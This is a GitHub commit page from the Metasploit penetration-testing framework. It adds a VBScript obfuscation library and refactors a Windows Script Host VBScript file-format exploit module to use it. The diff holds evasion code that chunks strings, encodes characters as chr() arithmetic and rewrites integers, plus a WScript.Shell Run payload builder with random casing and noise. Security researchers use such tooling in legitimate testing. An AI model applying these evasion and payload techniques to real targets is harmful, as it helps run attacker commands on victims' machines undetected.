Skip to content

Commit 5252e92

Browse files
authored
Merge pull request #20568 from bcoles/vbsobfuscate
Msf::Exploit::VBSObfuscate: Add VBS obfuscation library
2 parents 7b9ce27 + bbc9928 commit 5252e92

File tree

3 files changed

+42
-75
lines changed

3 files changed

+42
-75
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
# -*- coding: binary -*-
2+
3+
require 'rex/exploitation/vbsobfuscate'
4+
5+
module Msf
6+
# VBS obfuscation library wrapper for Rex::Exploitation::VBSObfuscate
7+
module Exploit::VBSObfuscate
8+
def initialize(info = {})
9+
super
10+
register_advanced_options([
11+
OptInt.new('VbsObfuscate', [false, 'Number of times to obfuscate VBS', 1]),
12+
])
13+
end
14+
15+
#
16+
# Returns an VBSObfuscate object. A wrapper of ::Rex::Exploitation::VBSObfuscate.new(vbs).obfuscate!
17+
#
18+
# @param vbs [String] VBS code
19+
# @param opts [Hash] obfuscation options
20+
# * :iterations [FixNum] Number of times to obfuscate
21+
# * :normalize_whitespace [Boolean] normalize line endings and strip leading/trailing whitespace from each line (true)
22+
# * :dynamic_execution [Boolean] dynamically execute obfuscated code with Execute (true)
23+
# @return [::Rex::Exploitation::VBSObfuscate]
24+
#
25+
def vbs_obfuscate(vbs, opts = {})
26+
iterations = (opts[:iterations] || datastore['VbsObfuscate']).to_i
27+
normalize_whitespace = opts[:normalize_whitespace].blank? || opts[:normalize_whitespace]
28+
dynamic_execution = opts[:dynamic_execution].blank? || opts[:dynamic_execution]
29+
30+
vbs_obfuscate = ::Rex::Exploitation::VBSObfuscate.new(vbs)
31+
vbs_obfuscate.obfuscate!(
32+
iterations: iterations,
33+
normalize_whitespace: normalize_whitespace,
34+
dynamic_execution: dynamic_execution
35+
)
36+
vbs_obfuscate
37+
end
38+
end
39+
end

lib/msf_autoload.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -124,6 +124,7 @@ def custom_inflections
124124
'macho' => 'MachO',
125125
'nodejs' => 'NodeJS',
126126
'jsobfu' => 'JSObfu',
127+
'vbsobfuscate' => 'VBSObfuscate',
127128
'osx' => 'OSX',
128129
'webrtc' => 'WebRTC',
129130
'json' => 'JSON',

modules/exploits/windows/fileformat/windows_script_host_vbscript.rb

Lines changed: 2 additions & 75 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
77
Rank = GreatRanking
88

99
include Msf::Exploit::FILEFORMAT
10+
include Msf::Exploit::VBSObfuscate
1011

1112
def initialize(info = {})
1213
super(
@@ -60,57 +61,6 @@ def initialize(info = {})
6061
])
6162
end
6263

63-
# Returns a random math expression evaluating to input int
64-
#
65-
# @param [Integer] int input integer
66-
#
67-
# @return [String] math expression evaluating to input int
68-
def generate_number_expression(int)
69-
case rand(4)
70-
when 0 # Sum
71-
a = rand(0..int)
72-
b = int - a
73-
"(#{a}+#{b})"
74-
when 1 # Difference
75-
r1 = int + rand(1..10)
76-
r2 = r1 - int
77-
"(#{r1}-#{r2})"
78-
when 2 # Product (only if divisible)
79-
divisors = (1..int).select { |d| (int % d).zero? }
80-
if divisors.size > 1
81-
d = divisors.sample
82-
"(#{d}*#{int / d})"
83-
else
84-
"(#{int}+0)"
85-
end
86-
when 3 # Quotient
87-
r2 = rand(1..10)
88-
r1 = int * r2
89-
"(#{r1}/#{r2})"
90-
end
91-
end
92-
93-
# Return VBScript code with all strings split into chunks and concatenated
94-
#
95-
# @param [String] vbscript VBScript code
96-
#
97-
# @return [String] VBScript code with chunked strings
98-
def chunk_vbscript_strings(vbscript)
99-
vbscript.gsub(/"([^"]+)"/) do
100-
original = Regexp.last_match(1)
101-
chunks = []
102-
103-
i = 0
104-
while i < original.length
105-
chunk_size = rand(1..5)
106-
chunks << "\"#{original[i, chunk_size]}\""
107-
i += chunk_size
108-
end
109-
110-
chunks.join(' & ')
111-
end
112-
end
113-
11464
# Build a series of benign VBScript noise blocks
11565
#
11666
# @param [Integer] block_count Number of blocks to generate
@@ -156,29 +106,6 @@ def generate_vbscript_noise(block_count = 0)
156106
lines.join("\r\n")
157107
end
158108

159-
# Obfuscate string literals and integer literals
160-
#
161-
# @param [String] vbscript VBScript code to be obfuscated
162-
#
163-
# @return [String] Obfuscated VBScript
164-
def obfuscate_vbscript(vbscript)
165-
obfuscated = vbscript.dup
166-
167-
# Obfuscate strings
168-
obfuscated = chunk_vbscript_strings(obfuscated)
169-
obfuscated.gsub!(/"((?:[^"]|"")*)"/) do
170-
raw = ::Regexp.last_match(1).gsub('""', '"')
171-
raw.chars.map { |c| "chr(#{generate_number_expression(c.ord)})" }.join(' & ')
172-
end
173-
174-
# Obfuscate integers
175-
obfuscated.gsub!(/\b\d+\b/) do |num|
176-
generate_number_expression(num.to_i)
177-
end
178-
179-
obfuscated
180-
end
181-
182109
def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
183110
vbs = ''
184111
vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
@@ -200,7 +127,7 @@ def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_li
200127
shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
201128
vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
202129
if obfuscate
203-
vbs << obfuscate_vbscript(vbs_payload)
130+
vbs << vbs_obfuscate(vbs_payload).to_s
204131
else
205132
vbs << vbs_payload
206133
end

0 commit comments

Comments
 (0)